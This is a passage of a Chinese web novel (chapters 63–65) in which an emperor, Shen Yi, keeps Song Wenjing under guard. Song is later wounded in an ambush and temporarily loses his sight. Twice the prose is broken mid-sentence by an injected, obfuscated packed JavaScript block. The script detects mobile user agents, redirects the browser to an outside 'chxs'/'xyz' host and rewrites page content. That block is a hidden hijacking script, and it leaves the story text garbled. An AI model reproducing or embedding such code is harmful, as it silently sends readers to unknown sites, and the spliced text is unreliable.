“没有,没有。”宋闻璟挥了挥手,道:“可就是很复杂啊,而且你都不知道,隔阂太大了,我没法说。” 沈翊道:“不说那算了,我没见过的东西,你说了我也不会信。” “别。”宋闻璟急忙道,“你要信的,我……我跟你画一下。” 宋闻璟看了看桌子的笔和纸,立马伸出手在纸上开始有些着急地匆匆画起来,沈翊看着从宋闻璟手底下出来的一个个如同鬼画符般的图案,不禁皱了皱眉,耳边听着宋闻璟说出如同天书的话,下一秒,沈翊忍不了了,突然抢过宋闻璟手里的纸,道:“你是不是在这忽悠我呢?” 宋闻璟摇头:“我没有,这都是真的,我说的都是真的。” 沈翊不说话,宋闻璟小心试探道:“这次你信了吧?我真的不是你那个皇叔,如果你信了,就放了我吧。” 沈翊闻言扭头看了他一眼,半信半疑道:“你要说你不是这里的人,那更可疑了,我怎么敢让你一个人在这?万一你要做什么?那我的子民怎么办?” 宋闻璟急忙道:“我不会怎么样的。” 沈翊又道:“以后再说,在没搞清楚之前,你哪也不能去。” 说罢,宋闻璟看着沈翊还有些顾虑的神情,心里有些低落,可就这么说出来,可能谁也不能一下就消化掉。 但万一沈翊突然认可了,觉得自己是个外来人,那下场会不会更惨?虽然能逃避了一个已知的下场,但沈翊会不会再把自己关起来给人观赏? 甚至依沈翊狠毒的手段,不会再到最后把自己解剖研究吧? 想到这,宋闻璟还是忍不住慌了,看来不跑是不太行了。 半晌,宋闻璟坐回对面,不禁抬头瞧了沈翊一眼,随后低声道:“要是你不信,也别太勉强自己,就当我给你讲了故事,你听听就好。” 63.第 63 章 半夜,熄了蜡烛,宋闻璟便又迷迷糊糊地睡了过去。 不过半晌,房门被人轻轻推开,只见两个黑影悄悄走了进来,随后动作缓慢地凑到了宋闻璟床前。 其中一个人默默点起手里的灯盏,随后抬手虚虚遮在火焰旁,将火焰发出的亮光埋了大半去。 “你说的可是真的?另一个人突然低声道,“这怎么可能?就算他当场变成一只狐狸,我都不会信,这不是在这变戏法吗?大街上都是。” 那人默了默,又道:“那你看看……他脑子是不是还没好?记忆是不是错乱了?” “从前没诊断出来吗?”柳溪默默道,“不应该吧,毕竟那个时候给他看病,不都是宫里或京中履历经验最好的太医或郎中吗?怎么可能看不出来,要不然就是被隐瞒了下去,看样这事还挺棘手。” 说着,柳溪伸出手,将指尖轻轻搭在宋闻璟手腕里,脉象并没有什么问题,但单靠把脉也不能看出什么,柳溪慢慢移动着手向上动,摸了摸这,又摸了摸那,把一旁的沈翊看的都有点着急了,“你到底会不会,一会儿把人弄醒了怎么办?” “没事。”柳溪道,“闻了我的香,就是外面沿街打鼓也醒不了。还有,你给我看的那些图纸,确实我也不知道,应该得好好查一下了,万一真是什么了不得的东西,比如,那个什么绿江,真是大胆,竟然随意窥探我朝私密。” 沈翊道:“他说他在这里看到的,那不成这里面还真是什么密阁?而那个图案就是标志?” 闻言,柳溪手里的动作突然一停,悠悠道:“倒是可疑,可是从没听过,难不成是一个新的组织?” “或许。”沈翊摇摇头,“回去之后该好好查一查,可宋闻璟又怎么知道的?” “有点乱。”柳溪道,“他不是说就是从哪里出来的吗?可明明是落水之后才觉得不对劲的吗?难不成在之前就是被人操控了?又或者被人下药了?” 沈翊摇摇头,“怎么越来越玄幻了,难不成真有什么我们不知道的东西?” “不对不对。”柳溪不自觉地上手摸了摸自己的胳膊,心底冒了点寒气,嘴上却依旧坚定道:“怎么可能,世上怎么会有这么怪的事,让我看看这到底怎么回事。” 说罢,柳溪摸了把自己的口袋,三根银针在火光下熠熠发光,柳溪有些神气道:“我到要看看,还有我治不好的病。” “这不行吗?”沈翊再一次质疑道,“他会不会醒?你会扎吗?” 柳溪轻轻拍了两下胸脯,颇为自信道:“放心,虽然我没学的那么通透,但也不是盖的,你还不相信我了?” 说罢,柳溪又挥了挥手,道:“蜡烛拿的近点,我看不清了。” 沈翊没说话,默默凑近了些,看着柳溪纠结了半晌,才终于下了第一根针,心里还倒有些欣喜,还以为柳溪真有点功夫在身上,但没想到,第二根针还没找好位置,便看见床上的人突然动了下,两人不自觉地愣住了,随后看着宋闻璟微微颤动的眼皮,几乎一瞬间,柳溪赶忙收了银针,沈翊也跟着吹灭了蜡烛,两人纷纷急忙跑开。 没了烛光,屋子里又变得黑蒙蒙的,柳溪将银针揣进口袋,人下意识般的直匆匆地奔着窗户跳了出去,沈翊也赶忙丢掉手里的灯盏快速卧进了被子里。 等宋闻璟迷迷糊糊睁开眼,眼前已然没了人影,抬手摸了摸还有些余痛的地方,宋闻璟脑袋还有点迟钝,心里纳闷的小声嘀咕道:“谁打我了?” 半晌,宋闻璟伸手将被子往上扯了扯,随后翻了个身又睡了过去。 直到第二天,宋闻璟醒来时,房间里已经没有了沈翊的身影,只是桌子上多了几份饭。打开门,门口依旧站着两个羽林卫,但人好像不一样了。 宋闻璟吃完饭,便在屋子里闲了下来,闷闷走了两圈,突然屋后响起一阵嬉笑声,宋闻璟被吸引,推开窗户向外瞧去,客栈后面是个被修整过的空地,四周围着栏杆,里面三个小姑娘正围在一起踢毽子,还有两只大型犬在空地上跑来跑去,有时一起趴在地上打滚。 宋闻璟静静地看了一会儿,似乎越发觉得有个姑娘有点眼熟,但看的有点入神,冷风刮在脸上都已经麻木了。底下的人,好像也感受到了这道投来的目光,纷纷抬头看了过去。 对视一眼,宋闻璟愣了下,随后有些不好意思地将窗子重新关了回来。 不过多时,窗外又重新响起欢快的声音,宋闻璟自己一个人在屋子里无聊的紧,便想在书柜里摸一本称心意的书打发时间。 宋闻璟抬头看去,书柜最上面的架子上还放着一个颜色深沉的木盒,宋闻璟心生好奇,这应该是沈翊放的,可在这在藏什么呢?想罢,宋闻璟踮着脚伸着长臂想去拿,但只是微微碰到了盒子的边缘,在尝试了几次后,宋闻璟还是踩着凳子上去了。 木盒下面还压着一张几张纸,宋闻璟先拿起上面的木盒打开,里面整整齐齐地放着颜色、形状各异的糕点,还没凑近便能闻到空气里香甜,宋闻璟看着手里的糕点愣了愣,沈翊把这东西藏起来干什么,难不成下毒了?但又一回想,这会不会是那小姑娘送来赔礼的,然后半路被沈翊截了下来,那为什么沈翊不扔了? 越想越怪,宋闻璟盖上盖子又默默放了回去,看来这几天得防备点这几块糕点了,放到一边,宋闻璟拿起下面那几张被压在下面的纸,缓缓展开,里面的内容倒是让宋闻璟不禁皱了下眉。 在原地愣了两秒,宋闻璟赶忙去了门口,对着站在门前的羽林卫,道:“我要去找高颉。” “不行。”其中一个羽林卫道,“陛下让您那也不准去。” 宋闻璟又道:“那让高颉来找我。” “那也不行。”眼前人继续道,“您还是等陛下回来再说吧。” 宋闻璟再次辩解道:“我有要事,真的。” 那人默默道:“有什么要事?您还是等陛下回来吧,别在这为难我们了。” 闻言,宋闻璟一下被噎住了,也不再说什么,关了门,平躺在床上看着手里本应该早就被烧掉的地势图,心里不禁起疑,沈翊什么时候偷偷描摹了一份,可自己从没有单独拿给他看过,而且上面还带着自己写的一部分分析,明明不可能的,那天我们都不是被抓走了吗?沈翊怎么会有时间抄写?难不成沈翊身旁还有其他人? 有些想不通,宋闻璟不禁叹了口气,如果真是这样,好像也说的通了,为什么自己做什么都会被沈翊察觉,可一直盯着自己的这个人会是谁呢? 直到中午,沈翊办完事回来准备吃饭,宋闻璟一听见推门声,便立马跑了过来,沈翊倒是有点意外,难不成昨晚被柳溪扎坏了? 沈翊张了张嘴,话还没从嘴里说出来,宋闻璟便突然质问道:“你什么时候偷看的?你从什么时候让人开始偷我的东西了?” “说什么呢?”沈翊不太明白,心里倒也有点什么印象,毕竟这事又不少,“我看什么了宋闻璟?” “这个。”宋闻璟展开手里的地势图,愤愤道:“不是被烧了吗?你怎么还会有,为什么不早拿出来。” 沈翊看着宋闻璟手里的地势图,不禁怔了下,随后好似想起什么,手一伸便想抢回来,宋闻璟看着沈翊的动作,下意识地快速将地势图藏在身后。 “那又怎么了?你翻我东西做什么?”沈翊收回手,不禁失笑道:“还有,我做什么那是我的事,你知道了又怎样?还想打死我?” 最后五个字明显被加重了。 “你……我……”这句话入耳,宋闻璟突然觉得脑袋被猛击了一下,空白了一瞬,看着沈翊那种颇为挑衅的眼神,宋闻璟攥紧了身后的地势图,无力却坚定地反驳道:“我不还给你了。” 说罢,宋闻璟气冲冲地往外走,沈翊愣了下,摸了摸脸感觉像少了点东西,柳溪说如果要是记忆错乱了,可以稍微刺激刺激,说不定会恢复,但现在好像不太行,怎么连脾气都没有,而且还不想对我对手了,记忆错乱,看样子好像也不是一件坏事。 没过一会儿,宋闻璟又灰溜溜地走了回来,沈翊坐在桌子旁,慢悠悠地喝了口水装作心不在焉地抬眼他,悠悠问道:“怎么回来了?” 宋闻璟道:“你让他们放我出去。” 沈翊道:“我没让他们拦你,你应该去问他们为什么不放你出去。” “胡说。”宋闻璟愤愤道,“那我要出去凭什么要经过你的同意,你这是在囚禁我,这是犯法的,你就不怕……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889729|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我看谁敢。”话未落,沈翊突然将杯子猛砸在桌子上,杯子里水瞬间朝四周溅了出来,落在桌子上,也湿了手。 巨大响声也把宋闻璟吓了一跳,刚刚还冒在心头的火,瞬间被浇灭了。 他看着沈翊站起身,一双充满犀利且凶狠的眸子映出他的略显僵硬的面容,他逼的很近,能明显感受到紊乱的气息,而后,宋闻璟听到眼前人一字一句道:“谁敢说我说的不对,我站在这就是最明确的法。” “不是……” “还有,你昨天不是说自己不是天喜人吗?就这一点我不该把你看严一点吗,万一你哪天想对天喜做不利的事,我不是能更快斩草除根。” 宋闻璟闻言不自觉地垂下眸,半晌又看着他笑了笑,“不是,昨天我也不知道为什么脑子突然糊涂了,突然就想起了这些就顺口说了出来。” “陛下,不用当真就是。” 沈翊道:“真稀奇,那你以前的事还记得吗?” “我……”宋闻璟摇摇头,“记不太清了。” “所以呢?”沈翊道,“你现在一直在耍我?” “没有没有。”宋闻璟默默道,“我会想起来的,给我一点时间。” 沈翊瞧了他一眼没说话,随后又坐了下去。 见宋闻璟站在原地不动,沈翊不禁问道:“还有什么事?” 宋闻璟敛了脾气,明显比刚刚冷静温顺了很多,但语气却非常坚定道:“我想见高颉。” “干什么?”沈翊问。 宋闻璟道:“我也想让高颉确定一下。” 沈翊却道:“那我说不行呢。” 宋闻璟突然沉默了,恹恹低下头,过了良久,才慢慢道:“不行就不行吧,我就是想再确保一下,万一出了错一切不都白费了吗?” “不会。”沈翊突然开口道,“你不信?” 宋闻璟不解:“为什么不会?陛下从前认真看过地势图?” 沈翊不经意地握了下拳,随后点了点头,毕竟也是自己背了一个大早上,才记住的。 宋闻璟还是有点不放心,毕竟看的时间最长的还是高颉,虽然过了这么久,但一看脑子里多少会有点印象。 想罢,宋闻璟还是小心的又问了一句,沈翊看着他这副小心翼翼和极其不信任自己的样子,心里不免有些不高兴,但最后还是叫来了高颉。 高颉一进屋就觉得气氛怪怪的,但又不敢问,跟沈翊草草行了个礼,便被宋闻璟拉了过去。 看见死而复生的地势图,高颉第一个反应就是不用再费工夫爬一遍了。 宋闻璟问他:“你觉得这图有问题吗?” “什么意思?”高颉闻言刚刚还激动跳动的心瞬间死了一下,“大人,这图是假的?” “不是。”宋闻璟道,“只是问一下这个图上的图案和原来图上的位置是不是一样?” “这个啊。”高颉认认真真瞧了瞧,随后又努力回想凭着记忆认真比对,最终点了点头,“其实不差,大人怎么找来的?” 宋闻璟笑了笑:“不是我的,是陛下的。” “陛下?”高颉挠了挠头,怪不得笔迹有点眼熟呢,和奏折上那个“是”“知道了”还真挺相似。 得到准确答复,宋闻璟便开始准备忙起来。 夜色将至,沈翊继续在书桌上写着一天下来看出来的漏洞和贴补条件准备回京后从国库里拿出一部分赈灾,随便再整理一下准备敲打的对象准备贴上支出。宋闻璟则在旁边交大的圆桌上,将手里的稿子铺满了桌面,还有几张没地方挤或者不小心落在地上,埋头研究着。 过了半晌,宋闻璟略带着疲惫沙哑的嗓音,开口道:“陛下,我们什么时候回京?” “后天。”沈翊收了笔抬头看着宋闻璟的背影,打趣道:“不是想不起来了吗?怎么会看这个?就不怕出错。” 宋闻璟道:“当然怕,但我只是忘了一些事,不是真的傻了。” 沈翊道:“什么时候偷学的,为什么连我都不知道,你可不像会学这些东西的人。” 宋闻璟笑了笑:“都说是偷偷学的,自然不让别人发现,而且我从小就感兴趣,这还不行吗?” 64.第 64 章 有事忙起来,沈翊觉得宋闻璟这几天算是彻底安静下来,直到回京那一日,宋闻璟才终于加班加点的将稿子整合在一起,上面写出自己心中所想,指出适合修坝的地理位置、修坝工程的大体框架和修坝之后如何更合理的运用。但稿子还没得及亲手交给高颉,顺便再叮嘱高颉几句,宋闻璟醒来时便已经在马车上,抬眼看,沈翊也正坐在一边,神情淡然地瞧着他。 “怎么不再睡一会儿?” 宋闻璟揉了下还惺忪的睡眼,随后将手撑在身后,借力坐了起来,脑袋晕乎乎的不怎么清醒,嗓音沙哑还带着点慵懒,闷闷道:“什么时候了?我们现在在哪?” 沈翊道:“快天黑了,再过几日我们就到京城了。” 宋闻璟迷迷糊糊地点了点头,随后不自觉地咳了两声,靠着车壁坐了一小会儿,眼皮又变得越发沉重,好似又撑不住涌上来的凶猛睡意便重新躺了回去,没有了声响。 沈翊看着他倒也觉得省心,起码眼前人没什么精神搞小把戏。 随着马车再次拐进一条更为崎岖不平的小路,宋闻璟好不容易适应过来的颠簸感,又被更为强烈的颠簸扰的心烦,想睡睡不了,脑袋却越发清明,越想越觉得不对,来的时候路明明没有那么陡。 宋闻璟起疑地坐起身,撩开帘幕往外瞧,外面已经完全黑了下来,寒月皎洁,几片微小的落雪伴着冷风吹在脸上,不由得引起一阵寒颤。 “这里是哪?这不是原来走的那条路。” 闻言,身旁的沈翊并没有回答。不过片刻,昏黄的烛光瞬然落到眼中,宋闻璟被扰了注意,回头看他。 沈翊收起火折子,火苗在眼前摇曳不定,柔和的光线将少年冷峻淡漠的面容上镀上一层如细纱般的金光,显得整个人熠熠生辉,鲜活起来。 见沈翊不答,宋闻璟总觉得惶恐不安,难不成沈翊突然变了心思,不想回京了?那要去哪?想做什么? 不过半晌,宋闻璟便瞧了他好几眼,沈翊也不是没有察觉,看着宋闻璟缩在角落有几分可怜的样子,沈翊突然开口道:“这是条人迹罕至的小路,路不好走,又比较绕,但相比之下会安全点,毕竟防人之心不可无,我本就是偷跑出来,现在政局不稳总得防备一点。” “那宫里怎么办?”宋闻璟接下道,“所以你才这么着急回去?” “我本以为两天就能回去的,所以谁也没告诉,可谁知道出了状况。”沈翊突然话锋一转,“不过,倒也多亏皇叔以身入局让我走了这么一遭。” 宋闻璟闻言不知所措地笑了笑,默默道:“我也不知道你会追过来,当时我没想那么多。” “那在想什么?”沈翊突然道,“只想自己出来以后该做什么?倒也是,我对你来说不足入眼,构不成威胁。” “怎么会?”宋闻璟有些激动道,“陛下可还想着我从前交给你的信和兵符,这些东西,陛下还不得以见我对陛下已无敌意。” “没有吗?”沈翊怔了一瞬,又道:“你给我的那张信和兵符又有什么用,在你那才叫兵符,在我这只能算是一块比较值钱的破石头,他们跟了你这么多年,从始至终只听你的话,你以为他们看的只是这块破石头?他们看的是人。你凭什么给我这块破石头就能甩手走人,我看你这次没胡说,这脑袋是真的坏了。” 宋闻璟低了点头,踌躇道:“是我考虑不周全,可我也没什么能给你的了。” 闻言,沈翊突然笑了一声,眉眼弯弯地看着他,道:“你想帮我吗?那就留在我身边,我需要你的势力帮我更快站定局势,虽然你想不起来了,但我可以给你时间,我可以让人帮你想起来。” “可……”宋闻璟心里一凉,“万一我一直想不起来呢?” 沈翊道:“想不起来?那也得等我不再需要你的时候。” 宋闻璟闻言眼神蓦地一亮,带着几分期待道:“那到时候,你会放我走吗?” “不会。”沈翊霎时收起眼底的笑意,语气偏执道,“这辈子都不会,即便是死,你也要死在我面前。” 话音刚落,宋闻璟不由得一愣,随后辩驳道:“为什么?可我对你已经没有利用价值了。” 还未等到沈翊的答复,马车外突然响起兵刃碰撞摩擦的声音,宋闻璟脑袋一晃,身上被一股强悍的力道拽了出去。下一秒,马车瞬间坍塌,马儿受了惊变得焦躁不已,开始往前横冲直撞,原本用来赶路照明的灯盏也都被摔在地上,几乎被砸灭大半了。 此番回京带回的羽林卫不多,另一部分守在了镇子上,一是当增添人手若再有事乱也好快速镇压,二是也不想引人注目,徒增麻烦。只是这一会儿的功夫,地上便躺下了大半。 柳溪看见沈翊立马慢慢移过去,情绪有些激动道:“看来有人的眼线插进来。” 闻言,沈翊不说话,只是脸色变得越发难看,连带手上的动作也变得凌厉起来。 不过多时,沈翊的视线不经意落在地上黑衣人的剑柄上,瞬间愣了一下,又是那副熟悉的图案,居然又是这些人。 骤然,他扭头朝身后看去,原本还好好躲在自己身后的人怎么突然不见了,偏偏四周还黑的骇人,沈翊不由得朝周围喊了几声,跟柳溪说了一声,沈翊整个人便隐在了黑夜里。 月光微弱,寻起人来也越发困难,但没想到是,沈翊一走,原本还在原地打斗的黑衣人也跟了少部分去了。 听到身后的响声,沈翊也不由得加快了步子,直到耳边再次响起打斗的响声,沈翊不自觉朝着声源赶了过去。 黑夜里,只见三个黑影在有来有回地过招,却不想地上还有一个极容易让人忽视的黑影。 宋闻璟奄奄一息地趴在地上,刚刚差点被人一剑刺穿,只是手上用力握住剑身已然鲜血淋漓才没有导致那般结果,可谁知道那人突然手上收了力,狠狠往肚子上踹了他一脚,在空中失重了一阵,到最后后脑勺也不知道磕到了哪里,磕的宋闻璟头晕眼花,瞬间抽了全身所有力气。 不知过了多久,指尖传来一阵温热,有人将他扶了起来,还在给他包扎伤口,宋闻璟想说话,却不由自由地咳了起来,他感觉到有什么东西从嘴里流了出来,想睁开眼,却怎么也动不了,自己明明还有些许意识,可就是无法控制,直到再次闻到那抹熟悉的气息,宋闻璟这才放松下来,失去了所有意识。 刚刚还在和黑衣人缠斗的杨闵看见一旁鬼鬼祟祟偷人的沈翊,直接掉了方向去追人,身后一群黑衣人虽有些懵,但看到一旁的宋闻璟不见了,也便继续赶了上去。 沈翊也不知道在往哪里跑,只是闷着头往前跑,身后的杨闵身上功夫不低,又加上沈翊带着个人,没过多久就被追了上来。 “把人还给我。” 杨闵走上前,挡在沈翊身前,平静道。 “为什么要还?”沈翊不自觉紧了紧手上的力道,低头看了一眼怀里气息奄奄的人,嘲讽道:“人不是你偷的吗?凭什么要我还给你。” “你……”杨闵突然被噎了一下,随后又正经道:“我说过我必须带他走,你……” “那我可没同意。”沈翊突然打断提议道,“既然这样,要不然比一场,你赢了我就给你,怎么样?” 杨闵想了片刻,最终还是点了下头。 沈翊转过身找了块较为平坦的地方,刚要准备把人放下,抬眸又看见眼前人嘴角上残留的血迹,心里不禁颤了下,伸手擦了一番,但因为天气太冷,流出的雪已有了凝固的痕迹,想到宋闻璟刚刚流了这么多血,身上还不知道伤到哪了,再过一会儿怕真的是要埋在这了。 “好了吗?” 杨闵站在后面开口催促道。 沈翊抬起头,看着杨闵身后,突然神情严肃道:“你们怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909871|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才来,快把他给我抓起来。” “什么?”杨闵看着沈翊一副要杀人的样子,不免有些担忧那些羽林军是不是真的追了过来,毕竟他只是碰巧看见了一群黑衣人,然后碰巧偷摸跟了上去,再准备碰巧偷个人回去的,要是真来了,那可难缠了。 他快速扭头朝身后看了一眼,在确定空无一人后,杨闵回过头,却发现沈翊早把人带跑了,眼前只有迎面而来的一群黑衣人。 那可更难缠了。 沈翊不敢停,不知道走了多久,直到看见远处有了些许光亮,这才有了盼头。 敲响了还亮着光的屋子,开门的是个十二三的小孩,看见两人这副狼狈不堪的样子,不禁脸上露出一阵吃惊,但又很快恢复正经。 沈翊问:“药馆在哪?” 小孩道:“这就是。” 沈翊往里看了看,又看了那小孩一样,半晌发出疑问:“你行?” 小孩拍了拍胸脯,“当然,别小瞧人,你们进来吧,我师父在睡觉,我也能给你们看病。” 沈翊半信半疑地走了进来,只见又从屋子里走出了模样清秀,温婉可人的姑娘,她见两人,便立刻安排了下来。 只见刚刚开门的小孩喊她“芙梦师姐。” 芙梦摸了摸他的头,道:“去把看病的东西拿过来。” 步七却轻轻拽了拽她的袖子,撒娇道:“师姐我能给他治,让我来吧。” 芙梦摇摇头,“师父说你还要再等等,快去吧。” 步七叹了口气,不情不愿放开了手跑去拿东西。 因为两只手心里的伤痕太深,清理完伤口又缝了好几针,而且脑后还有些发肿带着点小伤口,宋闻璟只能侧躺着,等缝完天都快亮了,芙梦列了药单,交代了事项和厨房位置,便带着步七去休息了。 沈翊煎完药,便去给宋闻璟喂药,刚把人扶起来喂了一口,不料宋闻璟直接吐了出来,甚至还趴着干呕了好几次,又扯的手上闷闷的疼,沈翊知道难喝,因为煎药的时候就闻到了,但也不能不喝。又废了半天的劲终于喂了半碗进去,到后面宋闻璟又不愿意配合了,缩着身子将脸埋了起来,一直说自己脑袋疼,恶心。 沈翊本想喝完药再给宋闻璟冰敷的,但看着宋闻璟一副难受没精神的样子,果断到外面砸下几块冰裹着毛巾贴在宋闻璟脑袋上,没过一会儿,宋闻璟安静了不少,剩下的半碗药也就两口喝完了。 敷的舒服了,宋闻璟也安稳地睡了过去。直到第二天天亮,步七进来叫两人吃饭,两人都还没醒,临近中午,沈翊才慢悠悠醒了过来。 这药馆的主人是个上了年纪的老头,听了昨晚的事情,不用多说也明白是什么,看了看沈翊,便什么也没说,但沈翊也明白,只道:“暂住几天,马上就走。” 宋闻璟是被疼醒的,他睁开眼,眼前的景象有点迷糊,身上又酸又疼,好不容易撑着坐起来,脑袋还有点晕,应该是昨天伤到了脑袋,坐着缓了一会儿,眩晕感才慢慢消散。 “碰——” 门突然被推开,沈翊看着宋闻璟醒了,顺手倒了杯水递到他跟前,道:“怎么样了?要是好了,我们现在就走,别给别人添麻烦。” 宋闻璟没说话,目光略显呆滞的看着眼前的杯子,半晌接了过来,点了下头,道:“好。” 喝了一口水,手上一动还是很疼,宋闻璟突然抬头,朝四周搜寻起来,问道:“我的衣服呢?” 而早走到一旁的沈翊,难免觉得有些不对劲,明明就在旁边的架子上放着呢,他又道:“我在哪?” “什么?”宋闻璟下意识朝声源看去,一双空洞没有焦距的眼睛,像是印证了沈翊心中所想。 他走过去,开口质问道:“你怎么了?看不见?” “没有。”宋闻璟摇摇头,“就是有点看不清东西,应该过一会儿就好了。” 65.第 65 章 芙梦过来看了一遍,顺道又开了一张方子,但如果冰敷有用的话还是继续敷着,等脑后的包消下去,那存留的少许瘀血消除便好了。可这东西说严重也真挺严重,如果消不掉,那就得动刀子,万一后面养护不好,这可真不是小事,毕竟这可是人身上最重要的脑袋。 宋闻璟听怕了,这几天出奇的乖顺,药按时喝着,饭也老老实实地吃着,因为手不方便,眼也不好用了,这几天都是靠着沈翊地投喂,遇到不喜欢吃的菜了也不敢拒绝,因为沈翊总唬他说对伤口有好处,宋闻璟只能闷头吃,但他能感受到沈翊是故意一直给他喂的,渐渐地,倒也适应了。 可一旦先得知结果,宋闻璟还是总忍不住去往坏处想,这几天也变得神情恹恹,兴致不高,还总是时不时叹气,连带着旁边的沈翊都有点被感染了。 每当太阳最暖和的时候,沈翊便带着宋闻璟出去晒太阳,希望能把宋闻璟这满身的霉气散出去,但宋闻璟不怎么说话,只会时不时喊一声沈翊的名字,在听到沈翊的声音后又没有了后文,就好像一块只会喊沈翊的木头,后面即使开口说还是那么两句:“要是以后都看不见了怎么办?”“动刀子肯定比缝针疼吧。”“我现在就要死了吗?我还不想。” 每次听到,沈翊总在一旁心不在焉地回着带着刺尖的安慰话,比如“只是看不见了,又不是死了”又或者是“要不然现在就给你买副棺材回来备着”,时常把宋闻璟搞得乱了头绪,总觉得应该把沈翊弄成哑巴试试,但那样就没人跟他说话了。 直到某天,宋闻璟突然跟沈翊道:“你能不能帮我寻根长点的棍子来。” 沈翊不解,问道:“干什么?” 宋闻璟默了下,有些不好意思道:“我想提前适应适应以后的日子。” “什么?”沈翊愣了一下,随后反应过来不由得笑出了声,“至于吗?还没真的瞎呢?” “那又怎么样。”宋闻璟闻言自是不愿意,不禁大声反驳道,“瞎的又不是你,你当然不懂。” 话音刚落,沈翊被猝不及防噎了一下,瞧了他一眼,又道:“手不疼了?” 宋闻璟摇摇头,“好多了,芙梦姑娘的药很有效。” 过了两秒,耳边没有传来回应,只有一串串浅浅的脚步声,宋闻璟下意识般地立马喊了一声:“沈翊,你走了吗?” 闻声,沈翊道:“出去一趟,你在家等着。” “出去干什么?”宋闻璟站起身往声源方向试探走出几步,“我能不能也跟着去。” “你去干什么,我出门帮你捡根棍子,很快就回来了。”沈翊折回去又将人按在凳子上,“你老实待着就行了。” “可是……”宋闻璟手上用不上太多力气,可依旧紧紧扯着沈翊的衣袖,语气有些可怜道:“可你走了就没人陪我说话了,我不想一个人待着。” “你不是不愿意和我说话吗?”沈翊一边用了点力气将衣服拽了回来,一边继续道:“你是不是怕我跑了,把你一个人留在这,所以才要跟上来的?” “我才不是,你要是真跑了,不是更好吗?”宋闻璟闷闷道,“那以后也没人监视我了,我想干嘛就干嘛,那我不去了,你……” “我就知道,你这人没安什么好心。”沈翊突然开口打断,抬手握着宋闻璟的手腕,将人用力从凳子上拽了起来,“你不是想去吗?那现在就去。” 走出门口,沈翊便将人背了起来,宋闻璟两条胳膊抱住他的脖子,将脸埋进去蹭了蹭。 沈翊走的很稳,可宋闻璟却觉得心慌慌的,连带整个脸都烧的有点热。回想这段时间,好像自己有点过度依赖沈翊了。起床摸不到旁边的人要喊沈翊,叫沈翊时听不到沈翊的回应要一直叫,就连吃饭穿衣这种小事都要靠沈翊,可沈翊也都拒绝过,这样一想,沈翊对他好的有点过了吧,更何况是对自己的仇人。 他抬起头,突然问:“你累不累?” 沈翊道:“当然累。” 宋闻璟又问:“那怎么不把我放下来?” 沈翊道:“放下来你又看不见,那样太慢了。” “哦。”宋闻璟淡淡应了一声,随后悄悄贴近沈翊脸边,小声询问道:“你怎么对我这么好,是不是突然看出我的好,觉得对我也没有那么讨厌了。” “什么?”沈翊皱了下眉,不禁怔了下,旁边的宋闻璟继续道:“你不愿意说出来也没关系,以后我们好好相处就是了。” 说罢,宋闻璟笑着去贴了沈翊一下,像是达成了什么协议,但沈翊显然没同意,也没明白,他缓缓道:“谁说我不讨厌你了,我都快恨死你了,你这个人抢了我那么多东西,你说让我不讨厌了,我就不讨厌你了?你不觉得很无耻吗?” “可是……” “可是?可是什么,你欠我的下辈子都还不完。”沈翊含怒道。不过片刻,又展开笑意顺而挑弄道:“原来皇叔变得这么单纯了,一点好意就能被收买,早知如此我就再多演会了,何必受这么一遭。” “你说什么呢。”宋闻璟一激动身子一动手上力道一下没控制住,沈翊就这么被勒了两秒钟。 缓过来的沈翊又继续道:“本来就是,还不让人说了,就你这样,以后说不定还要被人骗了命去都不知道。” “你不许胡说。”宋闻璟气极了,脑袋猛地撞在了沈翊头上,沈翊一疼手上也跟着松了力气,吓得宋闻璟又开始勒他。 “你老实一点,要不然就把你打晕再走。”沈翊显然没好气道,后面宋闻璟也不动,这一撞脑袋还真有点晕,怕把后遗症激出来,宋闻璟又把脑袋安安静静窝在沈翊肩膀上。 不过多时,宋闻璟突然开口道:“你这人也坏的要死,我也讨厌你。” 语气轻飘飘的,里面却带着明显的不服气,像在赌气,也像在挽回点脸面。 听到这一句话,沈翊不由得笑了一声,本来就应该这样。 走到附近的一片林子里,里面掉落的树枝也早已被附近的村民捡了干净,剩下的埋进了雪里,看不到踪迹。 沈翊寻了块石头,用袖子扫干净上面的积雪,让宋闻璟坐在这等,宋闻璟也嘱咐他道:“你不要走远了,我叫你的时候要说话。” 沈翊应了一声,随后在树上千挑万选中看中了一截合适的枝干,裁剪修理树枝的声响比较大,宋闻璟听的安心又不安心,怕沈翊会栽在一截木棍上。 “啪嗒——” 脚边好像滚落下来一个东西,宋闻璟以为沈翊扔了什么东西过来,便想去捡,但没想到旁边又掉了一个,宋闻璟动作一顿愣了下,随后又落下一个砸在肩膀上,宋闻璟觉得这个地方不能待了,便朝沈翊的方向慢慢移着,随后又开口喊了声沈翊。 恰巧沈翊正好完工,回头应了一声便走了过去,宋闻璟道:“刚刚你是不是扔东西过来了?” 沈翊摇摇头道:“没有啊。” 宋闻璟道:“刚刚有人扔东西打我,不会又是那些人吧。” 闻言,沈翊回头看去,雪地上一只毛色灰黄的小松鼠正准备往树上爬。 “不是。”沈翊道,“可能是天意吧,是老天想打你。” “什么?” 趁宋闻璟还没反应过来,沈翊连忙将木棍塞到宋闻璟手里,道:“试着走吧。” “好。”宋闻璟拄着走了几步,道:“我自己走回去就好了。” 